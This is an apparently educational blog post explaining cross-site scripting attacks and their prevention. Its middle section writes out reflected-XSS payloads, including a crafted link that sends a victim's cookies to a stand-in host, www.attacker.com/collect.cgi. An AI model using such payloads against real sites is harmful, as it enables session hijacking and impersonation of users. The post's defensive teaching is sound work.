Cross Website Scripting(XSS) Info and Prevention

Welcome to the hacking discussion blog

So here I m gonna write an article over XSS aka cross website scripting …………

Some declaration-this article is only meant for educational purpose if someone uses it for wrong purpose then HD blog is not responsible for it .

Note – since HDB will not going to show the codes so I modify then now there is some new parameter which means something else

< = {

> = }

Introduction

Cross Site Scripting aka XSS is one of the most common application level attacks that hackers use to sneak into web applications today. They are unique in that, rather than attacking a server directly, they use a vulnerable server as a vector to attack a client. This can lead to extreme difficulty in tracing attackers, especially when requests are not fully logged Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the XSS attack involves three parties – the attacker, a client and the web site. The goal of the XSS attack is to steal the client cookies, or any other sensitive information, which can identify the client with the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site – specifically, impersonate the user. This was achieved by running malicious Javascript code at the victim (client) browser, with the “access privileges” of the web site. These are the very limited Javascript privileges which generally do not let the script access anything but site related information. It should be stressed that although the vulnerability exists at the web site, at no time is the web site directly harmed. Yet this is enough for the script to collect the cookies and send them to the attacker. The result, the attacker gains the cookies and impersonates the victim.

TYPES OF XSS

LOCAL XSS

This form of XSS is rarely mentioned, because it is very hard to pull off and requires knowledge of either browser exploits or local OS html files. For the first scenario, the attacker could use their website to send malicious commands to the local users vulnerable HTML files(look in /WINDOWS, there are HTML files there) that executes some command on the users system. The second form that this attack can take is using browser exploits. Using a browser exploit, the attacker can plant an activeX script locally on the users system, which can run under local HTML priveleges(all javascripts are allowed without confirmation) and install backdoors, worms, spambots etc.

Non-persistent XSS

This type of XSS attack does no harm to the site itself, and they are created when javascript can be injected into a variable that is echoed back to the user in some way. Say when you enter some text into a search bar and press submits, and the new page that is loaded has what you searched saved in the search bar. You could escape the input tag using “} then inject script, e.g. {script}alert(”war10rd”){/script}. This is only useful in social engineering where you get a user, or administrator, to visit the page with the same parameters you provided to create the XSS, only this time with a cookie stealer script on the page. This will execute for them, logging their cookies to a site you choose

Persistent XSS

This kind of XSS is what is mostly used against guestbooks, forums and other permanent user content pages. When this type of XSS is used it stays on the page and can be used in many ways; stealing cookies, defacing a page, and spreading (the new “XSS worm” phenomenon same as the famous orkut worm)

NOW XSS ATTACK

XSS attacks are the result of flaws in server- side web applications and are rooted in user input which is not properly sanitized for HTML characters. If the attacker can insert arbitrary HTML then they could control execution of the page under permissions of the site. Attackers often perform XSS exploitation by crafting malicious URLs and tricking users into clicking on them. These links cause client side scripting languages (VBScript, JavaScript, etc.) of the attacker’s choice to execute on the victim’s browser. XSS vulnerabilities are caused by a failure in the web application to properly validate user input. The most common web components that fall victim to XSS vulnerabilities include CGI scripts, search engines, interactive bulletin boards, and custom error pages with poorly written input validation routines. Additionally, a victim doesn’t necessarily have to click on a link; XSS code can also be made to load automatically in an HTML e-mail with certain manipulations of the IMG or IFRAME HTML tags (much like the Badtrans worm). There are numerous ways to inject JavaScript code into URLs for the purpose of a XSS attack

Let see one example

{?php echo “Hello, {$HTTP_GET_VARS['name']}!”; ?}

Once the page is accessed, the variable sent via the GET method is placed directly on the rendered page. Since the input is not marked as variable input , the user- supplied input is interpreted exactly as its metacharacters command, very similar to SQL injection. Passing “Hacking discussion” as an argument outputs the content in correct form:

http://hdhost/hello.php?name=hacking%20discussion

now let us call site we use for XSS is called

http://www.xyz.com

At the core of a traditional XSS attack lies a vulnerable script in the vulnerable site. This script reads part of the HTTP request (usually the parameters, but sometimes also HTTP headers or path) and echoes it back to the response page, in full or in part, without first sanitizing it i.e. making sure it doesn’t contain Javascript code and/or HTML tags. Suppose, therefore, that this script is named 1.cgi, and its parameter is “name”. It can be operated this way:

GET /1.cgi?name=hacking%20discussion HTTP/1.0

Host: www.xyz.com

And the response would be:

{HTML}

{Title}1!{/Title}

Hi hacking discussion

{BR}

Welcome to our system

…

{/HTML}

Now explanation

Well, the attacker manages to lure the victim client into clicking a link the attacker supplies to him/her. This is a carefully and maliciously crafted link, which causes the web browser of the victim to access the site ( www.xyz.com ) and invoke the vulnerable script. The data to the script consists of a Javascript that accesses the cookies the client browser has for www.xyz.com . It is allowed, since the client browser “experiences” the Javascript coming from www.xyz.com , and Javascript’s security model allows scripts arriving from a particular site to access cookies belonging to that site.

Such a link looks like:

http://www.xyz.com/1.cgi?name={script}alert(document.cookie){/script}

The victim, upon clicking the link, will generate a request to www.xyz.com , as follows:

GET /1.cgi?name={script}alert(document.cookie){/script} HTTP/1.0

Host: www.xyz.com

…

And the vulnerable site response would be:

{HTML}

{Title}1!{/Title}

Hi {script}alert(document.cookie){/script}

{BR}

Welcome to our system

…

{/HTML}

The victim client’s browser would interpret this response as an HTML page containing a piece of

Javascript code. This code, when executed, is allowed to access all cookies belonging to

www.xyz.com, and therefore, it will pop-up a window at the client browser showing all client

cookies belonging to www.xyz.com. Of course, a real attack would consist of sending these cookies to the attacker. For this, the attacker may erect a web site (www.xyz.com), and use a script to receive the cookies. Instead of popping up a window, the attacker would write a code that accesses a URL at his/her own site (www.xyz.com), invoking the cookie reception script with a parameter being the stolen cookies. This way, the attacker can get the cookies from the www.attacker.com server. The malicious link would be:

http:// www.xyz.com /1.cgi?name={script}window.open(“http://www.attacker.com/collec

t.cgi?cookie=”%2Bdocument.cookie){/script}

And the response page would look like:

{HTML}

{Title}1!{/Title}

Hi

{script}window.open(“http://www.attacker.com/collect.cgi?cookie=”+document.cookie){

/script}

{BR}

Welcome to our system

…

{/HTML}

The browser, immediately upon loading this page, would execute the embedded Javascript and would send a request to the collect.cgi script in www.attacker.com, with the value of the cookies of www.xyz.com that the browser already has. This compromises the cookies of www.xyz.com that the client has. It allows the attacker to impersonate the victim. The privacy of the client is completely breached. It should be noted, that causing the Javascript pop-up window to emerge usually suffices to demonstrate that a site is vulnerable to a XSS attack. If Javascript’s “alert” function can be called, there’s usually no reason for the “window.open” call not to succeed. That is why most examples for XSS attacks use the alert function, which makes it very easy to detect its success.

Now Security

As a web application user, there are a few ways to protect your self from XSS attacks. The first

and most effective solution is to disable all scripting language support in your browser and email

reader. another thing is to use reasonable caution when clicking links in anonymous e-mails and dubious web pages. Additionally, as a last resort, proxy servers can help filter out malicious scripting in HTML

Web application developers and vendors should ensure that all user input is parsed and filtered properly. User input includes things stored in GET Query strings, POST data, Cookies, URLs, and in general any persistent data that are transmitted between the browser and web server. The best philosophy to follow regarding user input filtering is to deny all but a pre-selected element set of benign characters in the web input stream. This prevents developers from having to constantly predict and update all forms of malicious input in order to deny only specific characters (such as < ; ? etc.).

Once an application has evolved out of the design and development phases, it is important to periodically test for XSS vulnerabilities since application functionality is constantly changing due to upgrades, integration of third party technologies, and decentralized website authoring. Many vulnerability web application scanners are now starting to include checks for XSS, although it is unlikely that any current automated will be truly comprehensive.

By installing a third party application firewall, which intercepts CSS attacks before they reach the web server and the vulnerable scripts, and blocks them. Application firewalls can cover all input methods (including path and HTTP headers) in a generic way, regardless of the script/path from the in-house application, a third party script, or a script describing no resource at all (e.g. designed to provoke a 404 page response from the server). For each input source, the application firewall inspects the data against various HTML tag patterns and Javascript patterns, and if any match, the request is rejected and the malicious input does not arrive to the server.

References –

Cross Site Scripting Explained by Amit Klein, Sanctum Security Group

Types of xss attack by cybern00b

The Evolution of Cross-Site Scripting Attacks By David Endler

The Anatomy of Cross Site Scripting by Gavin Zuchlinski

CREDITS:- http://www.hackingdiscussion.com